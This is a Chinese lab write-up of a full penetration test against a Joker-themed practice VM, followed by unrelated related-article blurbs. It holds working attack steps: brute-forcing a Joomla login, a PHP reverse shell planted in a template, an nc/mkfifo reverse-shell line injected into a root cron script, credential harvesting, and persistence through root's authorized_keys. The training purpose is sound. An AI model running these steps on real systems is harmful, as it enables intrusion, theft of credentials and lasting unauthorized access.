一次零基础 自“信息收集“到“权限维持“的渗透测试全程详细记录

 一、渗透总流程

1.确定目标:

        在本靶场中,确定目标就是使用各种扫描工具进行ip扫描,确定目标ip。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如使用Wappalyzer插件、nmap工具等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

6.权限维持:   

        在渗透测试过程中,权限维持是指利用已获取的权限、漏洞或凭证,保持长期对目标系统的访问权限,并持续地潜伏在系统内部以获得更多信息或执行更高级别的攻击。权限维持通常发生在成功渗透系统后,攻击者不仅仅是获取对系统的访问权限,还试图保持这种权限,以执行进一步的攻击操作。
 

二、打靶实例详解


文章内的靶机及脚本关注后私信获取


1.准备阶段

首先将靶机以及kali启动。

注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

2.信息收集——确认靶机ip

首先确定攻击机kali的ip来确定接下来扫描的网段。

命令:ip a

方法一——fping

命令:fping -g 192.168.10.0/24

方法二——Netdiscover

命令:netdiscover -i eth0 -r 192.168.10.0/24

方法三——arp-scan

命令:arp-scan -l

方法四——nmap

命令:nmap -sP 192.168.10.0/24

在上面扫描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。

所以通过上面的四种方法均可以确定靶机的ip地址为:192.168.10.176。

3.信息收集——端口扫描

命令:nmap -A -v -sS -sV -p- 192.168.10.176

知识点——nmap参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面地探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN扫描
-sV:探测开放
-p-:扫描全部端口

可以看到开放的端口有:
22:SSH服务
80:HTTP服务

4.威胁建模

访问:http://192.168.10.176/

通过Wappalyzer插件得到下面的信息:
Web服务:Apache 2.4.38
操作系统:Debian

5.漏洞探测

通过前面的扫描,可以看到存在开放的80端口,因此猜测其存在HTTP服务。

访问其web服务,默认端口为80。

可以看到一张小丑的图片。

查看网页源代码,可以看到没有什么有价值的信息。

查看robot.txt文件,同样没有什么收获。

安装Gobuster工具。

命令:apt-get install gobuster

接下来通过使用Gobuster和大字典(Kali自带),查找网站部署的服务器,发现了JoomlaCMS。

命令:gobuster dir -u 192.168.10.176 -w /usr/share/dirb/wordlists/big.txt

访问Joomla站点,发现只有一个帖子,其中有电影“小丑”的两个场景对话,还发现一个登录口。

安装Joomscan工具。

命令:apt-get install joomscan

接下来使用Joomscan对站点进行探测。

列出版本信息、敏感目录以及备份文件等有助于寻找漏洞的信息。

命令:joomscan -u 192.168.10.176/joomla

6.漏洞利用

使用Cewl工具对Joomla中发现的对话内的单词创建一个自定义词典。

命令:cewl -m 5 http://192.168.10.176/joomla/ > dic-words.txt

命令解释:常用于密码破解的准备工作,生成一个基于目标网站内容的密码字典。 -m 5 参数表示生成一个最小长度为5个字符的单词列表。它从指定的URL http://192.168.10.176/joomla/ 中提取文本,然后将提取的内容输出到一个名为 dic-words.txt 的文件中。

查看生成的字典。

接下来利用刚刚生成的字典对网页内的登录口进行爆破。

首先启动burp打开拦截器。

开启浏览器内的代理。

在登录口随便输入账号密码后点击Log in。

此时可以看到burp拦截到的数据包。

鼠标右键点击数据包后将其发送到Intruder。

在Intruder页面先确认选取Sniper,然后将username改为joomla,选中之前登录口随便填写的密码使用Add给password加上标记。

打开Payloads界面进行相关配置。

选取Simple list格式。

在下方点击load填入之前创建的密码字典dic-words.txt。

导入字典后点击Start attack开始爆破。

等待爆破解释后通过Lenght对结果筛选,得到密码Gotham。

使用username为joomla和password为Gotham尝试登陆,发现登录成功。

在枚举过程中我们嗅探到joomla下有administrator目录,尝试访问一下,发现可以成功访问。

使用刚刚爆破得到的用户名和密码登录。

发现登录成功。

接下来尝试在这个站点内建立一个反弹shell。

打开Extensions->Templates->Styles。

可以看到Beez3和protostar两个目录。

点击Protostar打开protostar目录。

进入/index.php页面进行编辑。

为了后续方便代码的复制粘贴,安装gedit工具。

命令:apt-get install gedit

进入到/usr/share/webshells/php目录,找到php-reverse-shell.php文件复制整个文件的代码。

命令:cd /usr/share/webshells/php

命令:gedit php-reverse-shell.php

用复制的shell脚本替换掉/index.php中的原始代码。

在第49行和50行找到ip和port。

将ip更改为攻击机kali的IP,这里为Kali IP:192.168.10.132。

端口可以自己设定,这里设置为5555。

点击左上角的save进行保存。

之后在kali中打开监听,重新访问“192.168.10.176/joomla/index.php”页面,在Kali中可以看到反弹成功。

命令:nc -lnvp 5555

地址:192.168.10.176/joomla/index.php

使用python3打开一个bash终端。

命令:python3 -c "import pty;pty.spawn('/bin/bash')"

查看home目录发现三个用户。

命令:ls /home

进入到/var/www/目录并查看,发现有html和joomla2两个文件夹。

命令:cd /var/www/ && ls -a

进入到joomla2文件夹内并查看,发现了configuration.php文件。

命令:cd joomla2 && ls -a

查看该文件,发现了一个数据的用户名和密码。

命令:cat configuration.php

用账号joomla和密码babyjoker尝试登录数据库,发现登录成功。

命令:mysql -u joomla -p

在数据库内查找有用的信息,查看是否有存储用户名和密码的文件。

命令:show databases;

命令:use batjoke;

成功找到密码信息如下图所示。

命令:select * from taskforce;

将密码进行base64解密,可以看到解密后的明文。

命令:echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d

  1. 知识点——命令说明:
    这个命令是将给定的Base64编码的字符串解码回原始的文本。具体来说,命令中的 echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' 是将Base64编码的密文输入到管道中,然后 base64 -d 解码这个Base64编码的字符串,并将其转换为原始文本。

7.权限提升

使用前面获取到的密码通过ssh命令尝试进行登录,发现登录成功了。

用户名:rob

密码:??? AllIHaveAreNegativeThoughts???

命令:ssh rob@192.168.10.176

在rob用户的系统中搜索资产,发现一个关于用户的文件user.txt,查看该文件。

命令:ls

查看user.txt文件。

命令:cat user.txt

遍历目录,发现了可疑文件Abnerineedyourhelp。

命令:ls -lna

查看文件,发现一段加密后的话。

命令:cat Abnerineedyourhelp

根据用户名rot联想到疑似是rot13加密,于是利用CyberChef工具尝试解密。

成功解密,得到下图所示的明文。

翻译后的内容如下,可以看到末尾有一段密码。

对上述的密码进行base64解密。

命令:echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d

根据上面翻译结果内的提示,尝试利用上面解密出的密码登录用户名为abner的用户,执行命令后发现登录成功到了abner。

命令:su abner

密码:I33hope99my0death000makes44more8cents00than0my0life0

命令:whoami

进入到abner的目录下并进行目录遍历,发现可疑文件info.txt和user2.txt。

命令:cd /home/abner && ls -lna

分别查看两个文件。

命令:cat info.txt

命令:cat user2.txt

翻译得到的内容可以看到其是对Glasgow smile的介绍。

查看命令执行的历史记录。

命令:cat .bash_history

在全盘中搜索与penguin用户相关的文件,找到两条关键信息。

命令:find / -name .dear_penguins.zip 2>/dev/null

来到上面查找到的文件的目录下并查看,可以看到上面搜索到的压缩包。

命令:ls -al /var/www/joomla2/administrator/manifests/files/

将其解压。

命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

密码:I33hope99my0death000makes44more8cents00than0my0life0

查看.dear_penguins文件。

命令:cat .dear_penguins

翻译得到的内容。

得到penguin用户的密码,使用得到的密码尝试登录用户penguin,发现成功登录。

命令:su penguin

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

命令:whoami

进入到penguin的目录下并进行目录遍历,查找可疑文件或目录,发现可以目录SomeoneWhoHidesBehindAMask。

命令:cd /home/penguin && ls -lna

进入SomeoneWhoHidesBehindAMask目录并遍历,发现两个可疑文件。

命令:cd SomeoneWhoHidesBehindAMask && ls -lna

查看PeopleAreStartingToNotice.txt。

命令:cat PeopleAreStartingToNotice.txt

翻译得到下面内容,是Joker给Penguin的留言,貌似说正在编写一个程序,只能用root运行,完成以后joker将会拷贝到当前目录。

查看.trash_old文件,可以看到其内容类似于一个shell脚本。

命令:cat .trash_old

结合文件内容,发现.trash_old属于用户penguin,root组并且任何人都可执行。

这个时候联想到需要使用pspy工具监控没有root权限的Linux系统。

前面进行端口扫描的时候存在开放的22端口,并且已经拿到了该系统的登录用户名和密码。

因此尝试利用ssh远程连接进行上传pspy工具。

首先将pspy文件下载到本地。

然后尝试利用ssh连接靶机。

命令:ssh penguin@192.168.10.176

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

在本机的pspy目录下,启动python的http服务,启动端口可以任意填写但是要注意不要与已经启动服务的端口重复。

命令:python3 -m http.server 5556

启动后访问本地地址进行验证,可以看到可以访问到kali内的文件。

访问地址:http://192.168.10.132:5556/

在靶机上将pspy64wget下来。

命令:wget http://192.168.10.132:5556/pspy64

查看文件pspy64,发现没有权限执行。

命令:ls -lah

修改其权限让其可以执行并进行验证。 

命令:chmod +x pspy64

命令:ls -lah

执行pspy,利用其对系统进程进行监控。

命令:./pspy64 -p -i 1000

监听到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分钟都执行。

回到前面.trash_old的目录下,使用vim编辑trash_old写入反弹shell(要将末尾的exit 0注释掉)。

命令:vi .trash_old

代码:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.132 5557>/tmp/f

保存并退出::wq!

在kali内开启监听,连接上后,执行whoami或id命令,可以看到此时成功拿到了root权限。

命令:nc -lnvp 5557

命令:whoami

命令:id

查看当前目录下内容,可以看到root.txt文件,查看root.txt。

命令:ls

命令:cat root.txt

上面成功拿到了root权限。

8.权限维持

在渗透测试中,权限维持是非常重要的一步。获取了系统或网络的访问权限后,可以尽量保持这些权限,以便进行后续的深入渗透,如渗透到更深层次的系统等。

首先利用攻击机kali生成公钥私钥对,默认保存在.ssh目录下。

命令:ssh-keygen -t rsa

查看刚刚生成的公钥和私钥,其中id_rsa为私钥,留在攻击机kali内,id_ras.pub为公钥,传到靶机内即可。

命令:cd .ssh

命令:ls -lah

在存放公钥私钥的.ssh目录下启动python的http服务。

命令:python3 -m http.server 5558

将公钥下载到靶机上并查看。

命令:wget http://192.168.10.132:5558/id_rsa.pub

命令:ls

在靶机内查看当前路径,确认是root用户目录后在当前目录下创建.ssh目录。

命令:pwd

命令:mkdir .ssh

命令:ls -alh

在.ssh目录下创建authorized_keys文件。

命令:touch .ssh/authorized_keys

将密钥写入到authorized_keys文件中。

命令:cat id_rsa.pub >> .ssh/authorized_keys

此时使用kali就可以直接连接到靶机的root权限了。

命令:ssh root@192.168.10.176

只要靶机上的公钥文件存在,就可以利用私钥永久拿到靶机的控制权。

至此权限维持操作完成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/42810.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于网络编码的 tcp 变种-tcp/nc

tcp/nc 是指 “tcp with network coding”,是一种结合了网络编码技术的 tcp 变种,网上资源很少,我也不准备多介绍,只介绍它的核心。 传统 tcp 在演进过程中一直搞不定效率问题,网络带宽在增长,cpu 却没有变…

区间贪心

目录 1.贪心算法的思想 2.区间贪心算法常用的一些题目类型 1.选择最多不相交区间问题 P2970 [USACO09DEC] Selfish Grazing S 1.思路分析 2.上代码 2.区间选点问题 P1250 种树 1.题目 2.方法一 1.代码解释 3.方法二 3.区间合并问题 P2434 [SDOI2005] 区间 1. 思路…

Java集合面试题

Java集合框架 1、List、Set、Map的区别2、ArrayList、LinkedList、Vector区别3、为什么数组索引从0开始,而不是从1开始?4、ArrayList底层的实现原理5、红黑树、散列表6、HashMap的底层原理7、HashMap的put方法具体流程8、HashMap的扩容机制9、HashMap是怎…

南方科技大学马永胜教授给年轻人使用AI工具上的建议

摘要 - 1. AI的未来,是机器人和机器人之间的合作; 2. 行业的发展方向是需求决定的,不要做同质化的发展,要做专/精/特/新; 3. 新质生产力 ( 科学技术革命性突破 生产要素创新型配置 产业深度转型升级&…

java通过poi-tl导出word实战详细步骤

文章目录 与其他模版引擎对比1.引入maven依赖包2.新建Word文档exportWprd.docx模版3.编写导出word接口代码4.导出成果 poi-tl是一个基于Apache POI的Word模板引擎,也是一个免费开源的Java类库,你可以非常方便的加入到你的项目中,并且拥有着让…

Pix4Dmapper:无人机测绘的革命性工具

在现代测绘和地理信息系统(GIS)领域,Pix4Dmapper无疑是一款革命性的工具。作为一名长期使用这款软件的用户,我深深感受到它在工作中的重要性和便利性。Pix4Dmapper不仅仅是一款软件,更是测绘工作者的得力助手&#xff…

285个地级市出口产品质量及技术复杂度(2011-2021年)

出口产品质量与技术复杂度:衡量国家竞争力的关键指标 出口产品质量是衡量国内企业生产的产品在国际市场上竞争力的重要标准。它不仅要求产品符合国际标准和目标市场的法律法规,而且需要保证产品质量的稳定性和可靠性。而出口技术复杂度则进一步体现了一…

批量下载手机中APP程序中文件

需求 利用 adb pull 下载手机中app的某目录 adb pull 命令本身不支持直接下载整个目录(文件夹)及其所有子目录和文件作为一个单一的操作。但是,可以通过一些方法来间接实现这一目的。 方法 1. 首先将要下载的目录进行 tar 打包 # 在 And…

【atcoder】习题——位元枚举

题意:求i&M的popcount的和,i属于0……N 主要思路还是变加为乘。 举个例子N22,即10110 假设M的第3位是1,分析N中: 00110 00111 00100 00101 发现其实等价于 0010 0011 0000 0001 也就是左边第4位和第5…

算法学习笔记(8.1)-动态规划入门

目录 问题特性: 最优子结构: 代码示例:(动态规划最优子结构) 上述最小代价爬楼梯的运行过程: 代码示例: 无后效性: 解析: 具体过程图示如下: 具体的…

如何为IP申请SSL证书

目录 以下是如何轻松为IP地址申请SSL证书的详细步骤: 申请IP证书的基本条件: 申请IP SSL证书的方式: 确保网络通信安全的核心要素之一,是有效利用SSL证书来加密数据传输,特别是对于那些直接通过IP地址访问的资源。I…

使用 Azure DevOps Pipelines 生成 .NET Core WebJob 控制台应用 CI/CD

Web 应用程序通常需要作为后台任务运行的进程,并在特定时间间隔进行计划或在事件中触发。它们不需要花哨的 IO 接口,因为重点是过程而不是输出。Azure WebJobs 提供了出色的支持,通常在云环境中通过 Web 控制台应用程序来实现此目的。WebJob …

Mac平台虚拟机 Parallels Desktop v19.4.1,支持M1/M2/M3芯片组

Parallels Desktop for Mac是功能强大灵活度高的虚拟化方案,无需重启即可在同一台电脑上随时访问Windows和Mac两个系统上的众多应用程序。从仅限于PC的游戏到生产力软件,Parallels Desktop都能帮您实现便捷使用。Parallels Desktop 是一款专业的Mac虚拟机…

Docker搭建kafka+zookeeper以及Springboot集成kafka快速入门

参考文章 【Docker安装部署KafkaZookeeper详细教程】_linux arm docker安装kafka-CSDN博客 Docker搭建kafkazookeeper 打开我们的docker的镜像源配置 vim /etc/docker/daemon.json 配置 { "registry-mirrors": ["https://widlhm9p.mirror.aliyuncs.com"…

Linux Mac 安装Higress 平替 Spring Cloud Gateway

Linux Mac 安装Higress 平替 Spring Cloud Gateway Higress是什么?传统网关分类Higress定位下载安装包执行安装命令执行脚本 安装成功打开管理界面使用方法configure.shreset.shstartup.shshutdown.shstatus.shlogs.sh Higress官网 Higress是什么? Higress是基于阿里内部的…

思考:Java内存模型和硬件内存模型

前言 前一阵在看volatile的原理,看到内存屏障和缓存一致性,发现再往底层挖就挖到了硬件和Java内存模型。这一块是自己似懂非懂的知识区,我一般称之为知识混沌区。因此整理这一篇文章。 什么是内存模型(Memory Model)…

CentOS6用文件配置IP模板

CentOS6用文件配置IP模板 到 CentOS6.9 , 默认还不能用 systemctl , 能用 service chkconfig sshd on 对应 systemctl enable sshd 启用,开机启动该服务 ### chkconfig sshd on 对应 systemctl enable sshd 启用,开机启动该服务 sudo chkconfig sshd onservice sshd start …

未羽研发测试管理平台

突然有一些觉悟,程序猿不能只会吭哧吭哧的低头做事,应该学会怎么去展示自己,怎么去宣传自己,怎么把自己想做的事表述清楚。 于是,这两天一直在整理自己的作品,也为接下来的找工作多做点准备。接下来…

LT7911UX 国产原装 一拖三 edp 转LVDS 可旋转 可缩放

2.一般说明 该LT7911UX是一种高性能Type-C/DP1.4a到MIPI或LVDS芯片的VR/显示应用。HDCP RX作为HDCP转发器的上游,可以与其他芯片的HDCP TX配合实现转发器功能。 对于DP1.4a输入,LT7911UX可配置为1/2/4通道。自适应均衡使其适用于长电缆应用,最…

Junior.Crypt.2024 CTF Web方向 题解WirteUp 全

Buy a cat 题目描述:Buy a cat 开题 第一思路是抓包改包 Very Secure App 题目描述:All secrets become clear 开题 乱输一个密码就登陆成功了(不是弱口令) 但是回显Your role is: user 但是有jwt!!&a…